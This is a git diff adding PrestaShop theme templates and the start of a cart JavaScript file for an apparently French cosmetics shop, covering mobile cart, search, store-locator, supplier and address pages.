        + {/if} + +
        + {if !isset($instantSearch) || (isset($instantSearch) && !$instantSearch)} + {include file="./pagination.tpl"} + {/if} + {include file="./category-product-list.tpl" products=$products} + + {if !isset($instantSearch) || (isset($instantSearch) && !$instantSearch)} + {include file="./pagination.tpl"} + {/if} + + {include file='./sitemap.tpl'} +
        +{else} +

        + {if isset($search_query) && $search_query} + {l s='No results were found for your search'} "{if isset($search_query)}{$search_query|escape:'htmlall':'UTF-8'}{/if}" + {elseif isset($search_tag) && $search_tag} + {l s='No results were found for your search'} "{$search_tag|escape:'htmlall':'UTF-8'}" + {else} + {l s='Please enter a search keyword'} + {/if} +

        +{/if} \ No newline at end of file diff --git a/themes/default/_mobile/shopping-cart-gift-line.tpl b/themes/default/_mobile/shopping-cart-gift-line.tpl new file mode 100755 index 0000000..4da6712 --- /dev/null +++ b/themes/default/_mobile/shopping-cart-gift-line.tpl @@ -0,0 +1,53 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + + +
        + +
        +
        +

        {$product.name}

        + {if $product.reference}

        {l s='Ref:'} {$product.reference}

        {/if} +

        {$product.description_short}

        +
        +
        +

        + {if !empty($product.gift)} +

        {l s='Gift!'}

        + {else} + {if isset($product.is_discounted) && $product.is_discounted} + {convertPrice price=$product.price_without_specific_price}
        + {/if} + {if !$priceDisplay} + {convertPrice price=$product.price_wt} + {else} + {convertPrice price=$product.price} + {/if} + {/if} +

        +
        \ No newline at end of file diff --git a/themes/default/_mobile/shopping-cart-product-line-step3.tpl b/themes/default/_mobile/shopping-cart-product-line-step3.tpl new file mode 100755 index 0000000..5a2318c --- /dev/null +++ b/themes/default/_mobile/shopping-cart-product-line-step3.tpl @@ -0,0 +1,53 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + +
        + {$product.name|escape:'htmlall':'UTF-8'} +
        +
        +

        {$product.name|escape:'htmlall':'UTF-8'|truncate:120:"...":true}

        +

        {if isset($product.attributes) && $product.attributes} - {$product.attributes|escape:'htmlall':'UTF-8'}
        {/if}{$product.description_short|strip_tags|escape:'htmlall':'UTF-8'|truncate:160:"...":true}

        +
        +
        + {if $quantityDisplayed == 0 AND isset($customizedDatas.$productId.$productAttributeId)}{$customizedDatas.$productId.$productAttributeId|@count}{else}{$product.cart_quantity-$quantityDisplayed}{/if} +
        +
        + + {if !empty($product.gift)} + {l s='Gift!'} + {else} + {if $quantityDisplayed == 0 AND isset($customizedDatas.$productId.$productAttributeId)} + {if !$priceDisplay}{displayPrice price=$product.total_customization_wt}{else}{displayPrice price=$product.total_customization}{/if} + {else} + {if !$priceDisplay}{displayPrice price=$product.total_wt}{else}{displayPrice price=$product.total}{/if} + {/if} + {/if} + +
        + + diff --git a/themes/default/_mobile/shopping-cart-product-line.tpl b/themes/default/_mobile/shopping-cart-product-line.tpl new file mode 100755 index 0000000..8aa0b7b --- /dev/null +++ b/themes/default/_mobile/shopping-cart-product-line.tpl @@ -0,0 +1,78 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + +
        + {$product.name|escape:'htmlall':'UTF-8'} +
        +
        +

        {$product.name|escape:'htmlall':'UTF-8'|truncate:120:"...":true}

        +

        {if isset($product.attributes) && $product.attributes} - {$product.attributes|escape:'htmlall':'UTF-8'}
        {/if}{$product.description_short|strip_tags|escape:'htmlall':'UTF-8'|truncate:160:"...":true}

        +
        +
        + {if !empty($product.gift)} + {else} +
        + {if !isset($customizedDatas.$productId.$productAttributeId) OR $quantityDisplayed > 0} + + +
        + {if $product.minimal_quantity < ($product.cart_quantity-$quantityDisplayed) OR $product.minimal_quantity <= 1} + + + + {else} + + + {/if} + + {/if} +
        + {/if} +
        + {if !isset($noDeleteButton) || !$noDeleteButton} + {if (!isset($customizedDatas.$productId.$productAttributeId) OR $quantityDisplayed) > 0 && empty($product.gift)} + + {/if} + {/if} +
        + + {if !empty($product.gift)} + {l s='Gift!'} + {else} + {if $quantityDisplayed == 0 AND isset($customizedDatas.$productId.$productAttributeId)} + {if !$priceDisplay}{displayPrice price=$product.total_customization_wt}{else}{displayPrice price=$product.total_customization}{/if} + {else} + {if !$priceDisplay}{displayPrice price=$product.total_wt}{else}{displayPrice price=$product.total}{/if} + {/if} + {/if} + +
        + + diff --git a/themes/default/_mobile/shopping-cart.tpl b/themes/default/_mobile/shopping-cart.tpl new file mode 100755 index 0000000..820364f --- /dev/null +++ b/themes/default/_mobile/shopping-cart.tpl @@ -0,0 +1,337 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if $step!=0} + + +{/if} + {capture name=path}{l s='Your shopping cart'}{/capture} + {include file="$tpl_dir./breadcrumb.tpl"} +
        + +

        [{l s='Mon panier'}]

        + {assign var="current_step" value="summary"} + {include file="$tpl_dir./order-opc-steps.tpl"} + +

        {l s='Livraison offerte à partir de 60€ d\'achats'}

        + + +
        +
        +
        + + +{if isset($account_created)} +

        + {l s='Your account has been created.'} +

        +{/if} +{include file="$tpl_dir./errors.tpl"} + +{if isset($empty)} +

        {l s='Your shopping cart is empty.'}

        +{elseif $PS_CATALOG_MODE} +

        {l s='This store has not accepted your new order.'}

        +{else} + + +
        + + + {*if $use_taxes} + {if $priceDisplay} + + + + + {else} + + + + + {/if} + {else} + + + + + {/if*} + + + + + {*if $total_shipping_tax_exc <= 0 && !isset($virtualCart)} + + + + + {else} + {if $use_taxes} + {if $priceDisplay} + + + + + {else} + + + + + {/if} + {else} + + + + + {/if} + {/if*} + + + + + + + + + + + + + + + + + + + {foreach $products as $product} + {if $product.id_category_default!=12} + {assign var='productId' value=$product.id_product} + {assign var='productAttributeId' value=$product.id_product_attribute} + {assign var='quantityDisplayed' value=0} + {assign var='odd' value=$product@iteration%2} + {assign var='ignoreProductLast' value=isset($customizedDatas.$productId.$productAttributeId) || count($gift_products)} + {* Display the product line *} + {include file="./shopping-cart-product-line.tpl" productLast=$product@last productFirst=$product@first} + {/if} + {/foreach} + {assign var='last_was_odd' value=$product@iteration%2} + {foreach $gift_products as $product} + {assign var='productId' value=$product.id_product} + {assign var='productAttributeId' value=$product.id_product_attribute} + {assign var='quantityDisplayed' value=0} + {assign var='odd' value=($product@iteration+$last_was_odd)%2} + {assign var='ignoreProductLast' value=isset($customizedDatas.$productId.$productAttributeId)} + {assign var='cannotModify' value=1} + {* Display the gift product line *} + {include file="./shopping-cart-product-line.tpl" productLast=$product@last productFirst=$product@first} + {/foreach} + + {if sizeof($discounts)} + + {foreach $discounts as $discount} + + + + + + {/foreach} + + {/if} +
        {if $display_tax_label}{l s='Total products (tax excl.)'}{else}{l s='Total products'}{/if}{displayPrice price=$total_products}
        {if $display_tax_label}{l s='Total products (tax incl.)'}{else}{l s='Total products'}{/if}{displayPrice price=$total_products_wt}
        {l s='Total products'}{displayPrice price=$total_products}
        + {if $use_taxes} + {if $display_tax_label}{l s='Total gift wrapping (tax incl.):'}{else}{l s='Total gift-wrapping cost:'}{/if} + {else} + {l s='Total gift-wrapping cost:'} + {/if} + + {if $use_taxes} + {if $priceDisplay} + {displayPrice price=$total_wrapping_tax_exc} + {else} + {displayPrice price=$total_wrapping} + {/if} + {else} + {displayPrice price=$total_wrapping_tax_exc} + {/if} +
        {l s='Shipping'}{l s='Free Shipping!'}
        + {if $display_tax_label} + {if $use_taxes && $priceDisplay == 0} + {l s='Total vouchers (tax incl.):'} + {else} + {l s='Total vouchers (tax excl.)'} + {/if} + {else} + {l s='Total vouchers'} + {/if} + + {if $use_taxes && $priceDisplay == 0} + {assign var='total_discounts_negative' value=$total_discounts * -1} + {else} + {assign var='total_discounts_negative' value=$total_discounts_tax_exc * -1} + {/if} + {displayPrice price=$total_discounts_negative} +
        + {l s='Total'} ({l s='Hors frais de livraison'}) + {displayPrice price=$total_products}
        +
        {l s='Plus que'} {displayPrice price=60-$total_products_wt} {l s='pour bénéficier d\'une livraison gratuite en France'}*
        +
        {l s='Livraison offerte'}
        +
        + {if $voucherAllowed} + {if isset($errors_discount) && $errors_discount} +
          + {foreach $errors_discount as $k=>$error} +
        • {$error|escape:'htmlall':'UTF-8'}
        • + {/foreach} +
        + {/if} +
        +
        + +
        + +
        +
        + +
        + +
        +
        + {if $displayVouchers} +

        {l s='Take advantage of our exclusive offers:'}

        +
        + {foreach $displayVouchers as $voucher} + {if $voucher.code != ''}{$voucher.code} - {/if}{$voucher.name}
        + {/foreach} +
        + {/if} + {/if} +
        {$discount.code} - {$discount.name} + {if strlen($discount.code)}{l s='Delete'}{/if} + + {if !$priceDisplay}{displayPrice price=$discount.value_real*-1}{else}{displayPrice price=$discount.value_tax_exc*-1}{/if} +
        +
        + +{if $show_option_allow_separate_package} +

        + allow_seperated_package}checked="checked"{/if} /> + +

        +{/if} +{if !$opc} + {if Configuration::get('PS_ALLOW_MULTISHIPPING')} +

        + + +

        + {/if} +{/if} +
        + +
        +

        [{l s='Mode de livraison'}]

        +
        + {include file="./order-carrier-simple.tpl"} +
        +


        * {l s='Délai et participation aux frais de livraison pour la France métropolitaine, Corse et Monaco uniquement.'}

        +

        {l s='En savoir plus'}

        +
        + + {if isset($echantillons) && $echantillons|@count>0} +
        +

        [{l s='Sélectionnez'} 3 {l s='échantillons gratuits'}]

        +
        + {include file="./order-opc-echantillons.tpl"} +
        +
        +
        + {/if} + +
        + {l s='Total TTC'} {displayPrice price=$total_price} +
        +{*
        *} + +
        {$HOOK_SHOPPING_CART}
        +{*
        *} + +
        + {if !empty($HOOK_SHOPPING_CART_EXTRA)} +
        +
        +
        {$HOOK_SHOPPING_CART_EXTRA}
        +
        + {/if} +{/if} + +
        + +
        +
        + + +
        + {hook h='displayTopOrderRightColumn'} + {include file="./order-opc-rightColumn.tpl"} + } +
        + +
        + + \ No newline at end of file diff --git a/themes/default/_mobile/sitemap.tpl b/themes/default/_mobile/sitemap.tpl new file mode 100755 index 0000000..86f6e91 --- /dev/null +++ b/themes/default/_mobile/sitemap.tpl @@ -0,0 +1,98 @@ +{* +* 2007-2011 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2011 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        +{hook h="displayMobileTopSiteMap"} +
        +
        +{if isset($categoriesTree.children)} +

        {l s='Our offers'}

        + +
          + {for $i=0 to 4} + {if isset($categoriesTree.children.$i)} + {if isset($categoriesTree.children.$i.children) && ($categoriesTree.children.$i.children|@count > 0)} + {include file="./category-tree-branch.tpl" node=$categoriesTree.children.$i} + {else} +
        • + + {$categoriesTree.children.$i.name|escape:'htmlall':'UTF-8'} + +
        • + {/if} + {/if} + {/for} +
        • + {l s='All categories'} +
            + {foreach $categoriesTree.children as $child} + {if $child.id!=12} + {include file="./category-tree-branch.tpl" node=$child last='true'} + {/if} + {/foreach} +
          +
        • +
        +{/if} + +
        +

        {l s='Sitemap'}

        + diff --git a/themes/default/_mobile/stores.tpl b/themes/default/_mobile/stores.tpl new file mode 100755 index 0000000..b7ea5d8 --- /dev/null +++ b/themes/default/_mobile/stores.tpl @@ -0,0 +1,120 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if !isset($magasins)} + +{/if} +{capture name=path}{l s='Où nous trouver'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} +
        +

        [{l s='Trouver un point de vente du laboratoire Garancia'}]

        + {if $stores|@count} +

        {l s='Here you can find our store locations. Please feel free to contact us:'}

        + {foreach $stores as $store} +
        + {if $store.has_picture}

        {/if} +

        + {$store.name|escape:'htmlall':'UTF-8'}
        + {$store.address1|escape:'htmlall':'UTF-8'}
        + {if $store.address2}{$store.address2|escape:'htmlall':'UTF-8'}{/if}
        + {$store.postcode} {$store.city|escape:'htmlall':'UTF-8'}{if $store.state}, {$store.state}{/if}
        + {$store.country|escape:'htmlall':'UTF-8'}
        + {if $store.phone}{l s='Phone:' js=0} {$store.phone}{/if} +

        + {if isset($store.working_hours)}{$store.working_hours}{/if} +
        + {/foreach} + {/if} +{if $simplifiedStoresDiplay} +{else} + +
        +
        +
        + +
        +
        + +
        +
        +
        + + + + + + + +
        {l s='#'}{l s='Store'}{l s='Address'}{l s='Distance'}
        +
        + + + + +
        +
        +
        +
        +
        +
        +
        +
        + +{/if} +
        \ No newline at end of file diff --git a/themes/default/_mobile/supplier-list.tpl b/themes/default/_mobile/supplier-list.tpl new file mode 100755 index 0000000..74e28d5 --- /dev/null +++ b/themes/default/_mobile/supplier-list.tpl @@ -0,0 +1,74 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture assign='page_title'}{l s='Suppliers:'}{/capture} +{include file='./page-title.tpl'} + +
        + +{if isset($errors) AND $errors} + {include file="$tpl_dir./errors.tpl"} +{else} +

        {strip} + + {if $nbSuppliers == 0} + {l s='There are no suppliers.'} + {else} + {if $nbSuppliers == 1} + {l s='There is %d supplier.' sprintf=$nbSuppliers} + {else} + {l s='There are %d suppliers.' sprintf=$nbSuppliers} + {/if} + {/if} + {/strip} +

        + +{if $nbSuppliers > 0} + + {include file="$tpl_dir./pagination.tpl"} +{/if} +{/if} +{include file='./sitemap.tpl'} +
        diff --git a/themes/default/_mobile/supplier.tpl b/themes/default/_mobile/supplier.tpl new file mode 100755 index 0000000..1526f58 --- /dev/null +++ b/themes/default/_mobile/supplier.tpl @@ -0,0 +1,60 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture assign='page_title'}{$supplier->name|escape:'htmlall':'UTF-8'}{/capture} +{include file='./page-title.tpl'} + +{include file="$tpl_dir./errors.tpl"} + +{if !isset($errors) OR !sizeof($errors)} +
        +

        {l s='Suppliers:'}

        + {if !empty($supplier->description) || !empty($supplier->short_description)} +
        + {if !empty($supplier->short_description)} +

        {$supplier->short_description}

        +

        {$supplier->description}

        + {l s='More'} + {else} +

        {$supplier->description}

        + {/if} +
        + {/if} + + {if $products} +
        + {include file="./category-product-sort.tpl" container_class="container-sort"} +
        +
        + {include file="./pagination.tpl"} + {include file="./category-product-list.tpl" products=$products} + {include file="./pagination.tpl"} + + {else} +

        {l s='No products for this supplier.'}

        + {/if} + {include file='./sitemap.tpl'} +
        +{/if} diff --git a/themes/default/address.tpl b/themes/default/address.tpl new file mode 100755 index 0000000..0ec71c2 --- /dev/null +++ b/themes/default/address.tpl @@ -0,0 +1,234 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + +{capture name=path}{l s='Mon compte'}{$navigationPipe}{l s='Mes adresses'}{$navigationPipe}{if isset($id_address) && (isset($smarty.post.alias) || isset($address->alias))}{l s='Modifier adresse'}{else}{l s='Ajouter une adresse'}{/if}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +
        +

        [{if isset($id_address) && (isset($smarty.post.alias) || isset($address->alias))}{l s='Modifier adresse'}{else}{l s='Ajouter une adresse'}{/if}]

        + + +{include file="$tpl_dir./errors.tpl"} + +

        {if isset($id_address)}{l s='Votre adresse'}{else}{l s='Nouvelle adresse'}{/if}

        +
        +
        +

        + + + {l s='DNI / NIF / NIE'} +

        + {assign var="stateExist" value="false"} + +

        + + +

        + {foreach from=$ordered_adr_fields item=field_name} + {if $field_name eq 'company'} +

        + + + +

        + {/if} + {if $field_name eq 'vat_number'} +
        +
        +

        + + +

        +
        +
        + {/if} + {if $field_name eq 'firstname'} +

        + + +

        + {/if} + {if $field_name eq 'lastname'} +

        + + +

        + {/if} + {if $field_name eq 'address1'} +

        + + +

        + {/if} + {if $field_name eq 'address2'} +

        + + +

        + {/if} + {if $field_name eq 'postcode'} +

        + + +

        + {/if} + {if $field_name eq 'city'} +

        + + +

        + {* + if customer hasn't update his layout address, country has to be verified + but it's deprecated + *} + {/if} + {if $field_name eq 'Country:name' || $field_name eq 'country'} +

        + + +

        + {if $vatnumber_ajax_call} + + {/if} + {/if} + {*if $field_name eq 'State:name'} + {assign var="stateExist" value="true"} +

        + + +

        + {/if*} + {/foreach} + {*if $stateExist eq "false"*} +

        + + +

        + {*/if*} +

        + + +
        {l s='Destiné au Laboratoire Garancia, uniquement en cas de problème de livraison'} + {l s='En savoir plus'} +

        +
        +

        + + +

        +
        +
        +
        +

        {l s='Complément d\'adresse (facultatif)'}

        +

        + + +
        {l s='En savoir plus'} +

        +
        +

        + {l s='Retour à mon compte'} + {if isset($id_address)}{/if} + {if isset($back)}{/if} + {if isset($mod)}{/if} + {if isset($select_address)}{/if} + +

        + +
        +
        +
        +

        * {l s='Champ obligatoire'}

        +
        +
        +
        diff --git a/themes/default/addresses.tpl b/themes/default/addresses.tpl new file mode 100755 index 0000000..377aa67 --- /dev/null +++ b/themes/default/addresses.tpl @@ -0,0 +1,127 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{* +** Retro compatibility for PrestaShop version < 1.4.2.5 with a recent theme +*} + +{* Two variable are necessaries to display the address with the new layout system *} +{* Will be deleted for 1.5 version and more *} +{if !isset($multipleAddresses)} + {$ignoreList.0 = "id_address"} + {$ignoreList.1 = "id_country"} + {$ignoreList.2 = "id_state"} + {$ignoreList.3 = "id_customer"} + {$ignoreList.4 = "id_manufacturer"} + {$ignoreList.5 = "id_supplier"} + {$ignoreList.6 = "date_add"} + {$ignoreList.7 = "date_upd"} + {$ignoreList.8 = "active"} + {$ignoreList.9 = "deleted"} + + {* PrestaShop < 1.4.2 compatibility *} + {if isset($addresses)} + {$address_number = 0} + {foreach from=$addresses key=k item=address} + {counter start=0 skip=1 assign=address_key_number} + {foreach from=$address key=address_key item=address_content} + {if !in_array($address_key, $ignoreList)} + {$multipleAddresses.$address_number.ordered.$address_key_number = $address_key} + {$multipleAddresses.$address_number.formated.$address_key = $address_content} + {counter} + {/if} + {/foreach} + {$multipleAddresses.$address_number.object = $address} + {$address_number = $address_number + 1} + {/foreach} + {/if} +{/if} + +{* Define the style if it doesn't exist in the PrestaShop version*} +{* Will be deleted for 1.5 version and more *} +{if !isset($addresses_style)} + {$addresses_style.company = 'address_company'} + {$addresses_style.vat_number = 'address_company'} + {$addresses_style.firstname = 'address_name'} + {$addresses_style.lastname = 'address_name'} + {$addresses_style.address1 = 'address_address1'} + {$addresses_style.address2 = 'address_address2'} + {$addresses_style.city = 'address_city'} + {$addresses_style.country = 'address_country'} + {$addresses_style.phone = 'address_phone'} + {$addresses_style.phone_mobile = 'address_phone_mobile'} + {$addresses_style.alias = 'address_title'} +{/if} + + + +{capture name=path}{l s='My account'}{$navigationPipe}{l s='My addresses'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +
        +

        [{l s='My addresses'}]

        +

        {l s='Éditez vos adresse de facturation et livraison'}

        + +{if isset($multipleAddresses) && $multipleAddresses} +
        + {assign var="adrs_style" value=$addresses_style} +
        + {foreach from=$multipleAddresses item=address name=myLoop key=compteur} +

        {$address.object.alias}{l s='Modifier'}{l s='Supprimer'}

        +
          + {foreach from=$address.ordered name=adr_loop item=pattern} + {assign var=addressKey value=" "|explode:$pattern} +
        • + {foreach from=$addressKey item=key name="word_loop"} + + {$address.formated[$key|replace:',':'']|escape:'htmlall':'UTF-8'} + + {/foreach} +
        • + {/foreach} +
        + {/foreach} +
        +

        +

        +{else} +

        {l s='No addresses are available.'}

        +{/if} + + +
        +
        diff --git a/themes/default/ajax-cart-mobile.js b/themes/default/ajax-cart-mobile.js new file mode 100755 index 0000000..7ac8fa1 --- /dev/null +++ b/themes/default/ajax-cart-mobile.js @@ -0,0 +1,683 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +// Retrocompatibility with 1.4 +if (typeof baseUri === "undefined" && typeof baseDir !== "undefined") + baseUri = baseDir; + +//JS Object : update the cart by ajax actions +var ajaxCart = { + nb_total_products: 0, + + //override every button in the page in relation to the cart + overrideButtonsInThePage : function(){ + // alert('tgest'); + $('.bilanComplet .ui-btn').click(function(){ + // alert('test'); + $('.tiroirs').find('tr').each(function(){ + $(this).find('a.ajax_add_to_cart_button').click(); + }); + // $(this).parent().parent().find('a.ajax_add_to_cart_button').click(); + }); + $('.commanderRituel').click(function(){ + $(this).parent().parent().find('tr').each(function(){ + $(this).find('a.ajax_add_to_cart_button').click(); + }); + // $(this).parent().parent().find('a.ajax_add_to_cart_button').click(); + }); + //for every 'add' buttons... + $('.submitAlone .ui-btn').unbind('click').click(function(){ + $(this).parent().prev().find('a').click(); + }); + $('.ajax_add_to_cart_button').unbind('click').click(function(){ + var idProduct = $(this).attr('rel').replace('nofollow', '').replace('ajax_id_product_', ''); + if ($(this).attr('disabled') != 'disabled') + ajaxCart.add(idProduct, null, false, this); + return false; + }); + //for product page 'add' button... + $('#add_to_cart input').unbind('click').click(function(){ + ajaxCart.add( $('#product_page_product_id').val(), $('#idCombination').val(), true, null, $('#quantity_wanted').val(), null); + return false; + }); + + //for 'delete' buttons in the cart block... + $('#cart_block_list .ajax_cart_block_remove_link').unbind('click').click(function(){ + // Customized product management + var customizationId = 0; + var productId = 0; + var productAttributeId = 0; + var customizableProductDiv = $($(this).parent().parent()).find("div[id^=deleteCustomizableProduct_]"); + + if (customizableProductDiv && $(customizableProductDiv).length) + { + $(customizableProductDiv).each(function(){ + var ids = $(this).attr('id').split('_'); + if (typeof(ids[1]) != 'undefined') + { + customizationId = parseInt(ids[1]); + productId = parseInt(ids[2]); + if (typeof(ids[3]) != 'undefined') + productAttributeId = parseInt(ids[3]); + return false; + } + }); + } + + // Common product management + if (!customizationId) + { + //retrieve idProduct and idCombination from the displayed product in the block cart + var firstCut = $(this).parent().parent().attr('id').replace('cart_block_product_', ''); + firstCut = firstCut.replace('deleteCustomizableProduct_', ''); + ids = firstCut.split('_'); + productId = parseInt(ids[0]); + if (typeof(ids[1]) != 'undefined') + productAttributeId = parseInt(ids[1]); + } + + var idAddressDelivery = $(this).parent().parent().attr('id').match(/.*_\d+_\d+_(\d+)/)[1]; + + // Removing product from the cart + ajaxCart.remove(productId, productAttributeId, customizationId, idAddressDelivery); + return false; + }); + }, + + // try to expand the cart + expand : function(){ + if ($('#cart_block_list').hasClass('collapsed')) + { + $('#cart_block_summary').slideUp(200, function(){ + $(this).addClass('collapsed').removeClass('expanded'); + $('#cart_block_list').slideDown({ + duration: 450, + complete: function(){$(this).addClass('expanded').removeClass('collapsed');} + }); + }); + // toogle the button expand/collapse button + $('#block_cart_expand').fadeOut('slow', function(){ + $('#block_cart_collapse').fadeIn('fast'); + }); + + // save the expand statut in the user cookie + $.ajax({ + type: 